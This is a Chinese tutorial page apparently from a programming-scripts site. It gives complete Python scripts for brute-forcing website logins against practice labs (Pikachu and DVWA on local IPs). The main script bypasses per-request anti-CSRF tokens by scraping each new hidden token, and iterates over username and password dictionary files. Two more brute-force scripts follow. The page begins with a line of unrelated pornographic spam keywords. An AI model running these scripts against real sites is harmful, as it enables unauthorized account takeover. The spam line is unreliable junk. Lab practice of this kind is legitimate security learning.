欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

Python實(shí)現(xiàn)破解網(wǎng)站登錄密碼(帶token驗(yàn)證)

 更新時(shí)間:2022年02月07日 16:13:12   作者:CVE-檸檬i  
這篇文章主要為大家介紹一個(gè)Python暴力破解網(wǎng)站登錄密碼腳本(帶token驗(yàn)證),文中的過程講解詳細(xì),對(duì)我們學(xué)習(xí)Python有一定的幫助,感興趣的可以學(xué)習(xí)一下

前言

上一篇暴力破解文章:一個(gè)簡(jiǎn)單的Python暴力破解網(wǎng)站登錄密碼腳本

測(cè)試靶機(jī)為Pikachu漏洞練習(xí)平臺(tái)暴力破解模塊下的 “token防爆破?”

春節(jié)期間歇了一陣子,吃睡玩看小說。寫這個(gè)腳本的起因是因?yàn)閎urp設(shè)置帶token的暴力破解我只會(huì)用pitchfork草叉模式,要是用cluster bomb集束炸彈模式笛卡兒積那樣就不會(huì)了,所以就干脆把之前寫的腳本加了點(diǎn)東西實(shí)現(xiàn)這個(gè)功能了,到時(shí)候有空再學(xué)學(xué)多線程,爆破速度就更快了。

關(guān)鍵代碼解釋

設(shè)置請(qǐng)求頭

5~11行:指定url地址和請(qǐng)求頭,user_token設(shè)置首次發(fā)送請(qǐng)求包時(shí)的token值。

url = "http://192.168.171.30/pikachu/vul/burteforce/bf_token.php"
user_token = '8680761fe979039a6f836599906'
header = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0',
    'Cookie': 'PHPSESSID=17u0i2fakm84eq9oc24boc8715'
}

get_token函數(shù)獲取token值

13~16行:這個(gè)函數(shù)返回從響應(yīng)包中獲取的token

在http響應(yīng)包中有一個(gè)隱藏的標(biāo)簽里面有token值:

<input type="hidden" name="token" value="5874161fe8db950ca7993759020" />

第15行:soup.select查找標(biāo)簽名為input,name為token的元素的value的值。

def get_token(r):
    soup = BeautifulSoup(r.text, 'html.parser')
    user_token = soup.select('input[name="token"]')[0]['value']
    return user_token

完整代碼

from bs4 import BeautifulSoup
import requests
from requests.models import Response

url = "http://192.168.171.30/pikachu/vul/burteforce/bf_token.php"
user_token = '8680761fe979039a6f836599906'
#proxies = {"http": "http://127.0.0.1:8080"} ?# 代理設(shè)置,方便burp抓包查看和調(diào)試
header = {
? ? 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0',
? ? 'Cookie': 'PHPSESSID=17u0i2fakm84eq9oc24boc8715'
}

def get_token(r):
? ? soup = BeautifulSoup(r.text, 'html.parser')
? ? user_token = soup.select('input[name="token"]')[0]['value']
? ? return user_token

if __name__ == "__main__":
? ? f = open('result.csv', 'w') ? ? #把爆破結(jié)果儲(chǔ)存到文件里,這里為csv格式
? ? f.write('用戶名' + ',' + '密碼' + ',' + '包長(zhǎng)度' + '\n') ? ?#給文件設(shè)置標(biāo)題

? ? #遍歷字典文件,Cluster bomb 暴力破解
? ? for admin in open("C:\\Users\\admin\\Documents\\字典\\賬號(hào).txt"):
? ? ? ? for line in open("C:\\Users\\admin\\Documents\\字典\\密碼.txt"):
? ? ? ? ? ? username = admin.strip()
? ? ? ? ? ? password = line.strip()
? ? ? ? ? ? payload = { ? ? #payload為POST的數(shù)據(jù)
? ? ? ? ? ? ? ? 'username': username,
? ? ? ? ? ? ? ? 'password': password,
? ? ? ? ? ? ? ? 'token': user_token,
? ? ? ? ? ? ? ? 'submit': 'Login'
? ? ? ? ? ? }

? ? ? ? ? ? Response = requests.post(url, data=payload, headers=header)
? ? ? ? ? ? result = username + ',' + password + ',' + str(len(Response.text)) ?#用戶名密碼以及響應(yīng)包長(zhǎng)度

? ? ? ? ? ? print(result) ? ? ? ? ? #輸出到終端
? ? ? ? ? ? f.write(result + '\n') ?#輸出到文件
? ? ? ? ? ? user_token = get_token(Response) ? ?#調(diào)用get_token函數(shù)獲取下一次循環(huán)需要的token
? ? print('\n---完成---\n')
? ? f.close()

運(yùn)行結(jié)果

查看保存的文件,查看包長(zhǎng)度與其他不一樣的數(shù)據(jù)

這里csv不會(huì)顯示前綴會(huì)自動(dòng)去掉首位0,可以把文件改成txt格式就正常顯示了

嘗試登陸一下,登錄成功。

補(bǔ)充

下面小編為大家補(bǔ)充了另外兩個(gè)利用Python實(shí)現(xiàn)破解網(wǎng)站登錄密碼的示例代碼,希望對(duì)大家有所幫助

方法一:

import requests

url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
#proxies= {"http":"http://127.0.0.1:8080"}  #代理設(shè)置,方便burp抓包查看
header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'
}

f = open('result.csv','w')
f.write('狀態(tài)碼' + ',' + '用戶名' + ',' + '密碼' + ',' + '包長(zhǎng)度' + '\n')
for admin in open("C:\\Users\\admin\\Documents\\字典\\賬號(hào).txt"):
    for line in open("C:\\Users\\admin\\Documents\\字典\\密碼.txt"):
        username = admin.strip()
        password = line.strip()
        payload = {'username':username,'password':password,"Login":'Login'}
        Response = requests.get(url,params=payload,headers=header)
        result = str(Response.status_code) + ',' + username + ','\
            + password + ',' + str(len(Response.content))
        f.write(result + '\n')
        
        print('\n完成')

方法二:

import requests

url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
#proxies= {"http":"http://127.0.0.1:8080"}  #代理設(shè)置,方便burp抓包查看
header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'
}

f = open('result.txt','w')
for admin in open("C:\\Users\\admin\\Documents\\字典\\賬號(hào).txt"):
    for line in open("C:\\Users\\admin\\Documents\\字典\\密碼.txt"):
        username = admin.strip()
        password = line.strip()
        payload = {'username':username,'password':password,"Login":'Login'}
        Response = requests.get(url,params=payload,headers=header)
        if not(Response.text.find('Welcome to the password protected area')==-1):
            result = username + ':' + password
            print(result)
            f.write(result + '\n')
            
            print('\n完成')

以上就是Python實(shí)現(xiàn)破解網(wǎng)站登錄密碼(帶token驗(yàn)證)的詳細(xì)內(nèi)容,更多關(guān)于Python破解網(wǎng)站登錄密碼的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!

相關(guān)文章

  • 在Python文件中指定Python解釋器的方法

    在Python文件中指定Python解釋器的方法

    今天小編就為大家分享一篇在Python文件中指定Python解釋器的方法,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來看看吧
    2019-02-02
  • python操作sqlite的CRUD實(shí)例分析

    python操作sqlite的CRUD實(shí)例分析

    這篇文章主要介紹了python操作sqlite的CRUD實(shí)現(xiàn)方法,涉及Python操作SQLite數(shù)據(jù)庫CURD相關(guān)技巧,需要的朋友可以參考下
    2015-05-05
  • Python Scrapy?框架簡(jiǎn)單介紹

    Python Scrapy?框架簡(jiǎn)單介紹

    Scrapy是適用于Python的一個(gè)快速、高層次的屏幕抓取和web抓取框架,用于抓取web站點(diǎn)并從頁面中提取結(jié)構(gòu)化的數(shù)據(jù),這篇文章主要介紹了Scrapy框架優(yōu)點(diǎn)及簡(jiǎn)單介紹,需要的朋友可以參考下
    2023-05-05
  • python根據(jù)文章標(biāo)題內(nèi)容自動(dòng)生成摘要的實(shí)例

    python根據(jù)文章標(biāo)題內(nèi)容自動(dòng)生成摘要的實(shí)例

    今天小編就為大家分享一篇python根據(jù)文章標(biāo)題內(nèi)容自動(dòng)生成摘要的實(shí)例,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來看看吧
    2019-02-02
  • Pycharm中如何關(guān)掉python console

    Pycharm中如何關(guān)掉python console

    這篇文章主要介紹了Pycharm中如何關(guān)掉python console,本文給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下
    2020-10-10
  • python基礎(chǔ)之函數(shù)的返回值

    python基礎(chǔ)之函數(shù)的返回值

    這篇文章主要介紹了Python函數(shù)返回值,實(shí)例分析了Python中返回一個(gè)返回值與多個(gè)返回值的方法,需要的朋友可以參考下
    2021-10-10
  • 使用Python編程分析火爆全網(wǎng)的魷魚游戲豆瓣影評(píng)

    使用Python編程分析火爆全網(wǎng)的魷魚游戲豆瓣影評(píng)

    本文來為大家介紹如何使用Python爬取影評(píng)的操作,主要是爬取《魷魚游戲》在豆瓣上的一些影評(píng),對(duì)數(shù)據(jù)做一些簡(jiǎn)單的分析,用數(shù)據(jù)的角度重新審視下這部劇,有需要的朋友可以借鑒參考下
    2021-10-10
  • 使用python 和 lint 刪除項(xiàng)目無用資源的方法

    使用python 和 lint 刪除項(xiàng)目無用資源的方法

    這篇文章主要介紹了利用 python 和 lint 刪除項(xiàng)目無用資源的方法,使用方法是將 python 目錄下的 delUnused.py 放到項(xiàng)目目錄下,然后直接運(yùn)行即可,需要的朋友可以參考下
    2017-12-12
  • 初步探究Python程序的執(zhí)行原理

    初步探究Python程序的執(zhí)行原理

    這篇文章主要介紹了Python程序的執(zhí)行原理,簡(jiǎn)要地描述了其中的步驟,需要的朋友可以參考下
    2015-04-04
  • Python中DataFrame中的xs用法

    Python中DataFrame中的xs用法

    本文主要介紹了Python中DataFrame中的xs用法,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2023-04-04

最新評(píng)論